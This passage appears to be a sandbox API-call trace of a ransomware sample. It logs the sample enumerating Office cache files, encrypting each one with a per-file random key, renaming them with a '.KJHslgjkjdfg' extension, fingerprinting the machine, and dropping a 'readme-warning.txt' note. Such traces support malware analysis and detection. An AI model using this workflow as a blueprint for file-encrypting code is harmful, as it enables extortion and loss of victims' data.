lpOverlapped=0x0) returned 1 [0135.377] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.377] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.377] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.377] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.377] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.377] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.377] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x32b, lpOverlapped=0x0) returned 1 [0135.377] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x330, dwBufLen=0x330 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x330) returned 1 [0135.377] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.377] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x330, lpOverlapped=0x0) returned 1 [0135.377] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.377] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.377] SetEndOfFile (hFile=0x124) returned 1 [0135.380] GetProcessHeap () returned 0x2a0000 [0135.380] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.380] GetProcessHeap () returned 0x2a0000 [0135.380] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.380] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.kjhslgjkjdfg")) returned 1 [0135.385] CloseHandle (hObject=0x124) returned 1 [0135.385] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.386] GetProcessHeap () returned 0x2a0000 [0135.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.386] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.386] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.386] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.399] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.399] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.399] GetProcessHeap () returned 0x2a0000 [0135.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.399] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0135.399] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.399] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0135.399] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.399] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.399] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.400] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.400] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.400] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x16fc, lpOverlapped=0x0) returned 1 [0135.401] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1700, dwBufLen=0x1700 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1700) returned 1 [0135.401] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.401] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x1700, lpOverlapped=0x0) returned 1 [0135.401] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.401] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.401] SetEndOfFile (hFile=0x124) returned 1 [0135.404] GetProcessHeap () returned 0x2a0000 [0135.404] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.404] GetProcessHeap () returned 0x2a0000 [0135.404] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.404] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0135.405] CloseHandle (hObject=0x124) returned 1 [0135.405] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.405] GetProcessHeap () returned 0x2a0000 [0135.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.406] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0135.406] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.406] GetProcessHeap () returned 0x2a0000 [0135.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.406] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0135.406] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.406] GetProcessHeap () returned 0x2a0000 [0135.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0135.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.406] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0135.406] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.406] GetProcessHeap () returned 0x2a0000 [0135.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.406] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0135.406] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.406] GetProcessHeap () returned 0x2a0000 [0135.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.407] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0135.407] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.407] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0135.407] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0135.407] RegCloseKey (hKey=0x124) returned 0x0 [0135.407] GetProcessHeap () returned 0x2a0000 [0135.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.407] GetProcessHeap () returned 0x2a0000 [0135.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.407] GetProcessHeap () returned 0x2a0000 [0135.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.407] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0135.407] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.407] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.407] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.408] GetProcessHeap () returned 0x2a0000 [0135.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.408] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.408] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.408] GetProcessHeap () returned 0x2a0000 [0135.408] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0135.408] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0135.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.408] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0135.409] CloseHandle (hObject=0x124) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.410] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0135.410] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0135.410] GetProcessHeap () returned 0x2a0000 [0135.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0135.410] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0135.419] GetProcessHeap () returned 0x2a0000 [0135.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0135.420] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.420] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0135.420] GetProcessHeap () returned 0x2a0000 [0135.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0135.420] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.420] GetProcessHeap () returned 0x2a0000 [0135.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.420] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.420] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.420] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.421] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.421] GetProcessHeap () returned 0x2a0000 [0135.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.421] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.421] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.421] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.429] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.429] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.429] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.429] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.429] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.429] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd5600, lpOverlapped=0x0) returned 1 [0135.439] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd5600, dwBufLen=0xd5600 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd5600) returned 1 [0135.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.449] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd5600, lpOverlapped=0x0) returned 1 [0135.452] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.453] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd56d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.453] SetEndOfFile (hFile=0x124) returned 1 [0135.456] GetProcessHeap () returned 0x2a0000 [0135.456] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.456] GetProcessHeap () returned 0x2a0000 [0135.456] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.456] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.kjhslgjkjdfg")) returned 1 [0135.457] CloseHandle (hObject=0x124) returned 1 [0135.457] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0135.457] CreateFileW (lpFileName="C:\\MSOCache\\All 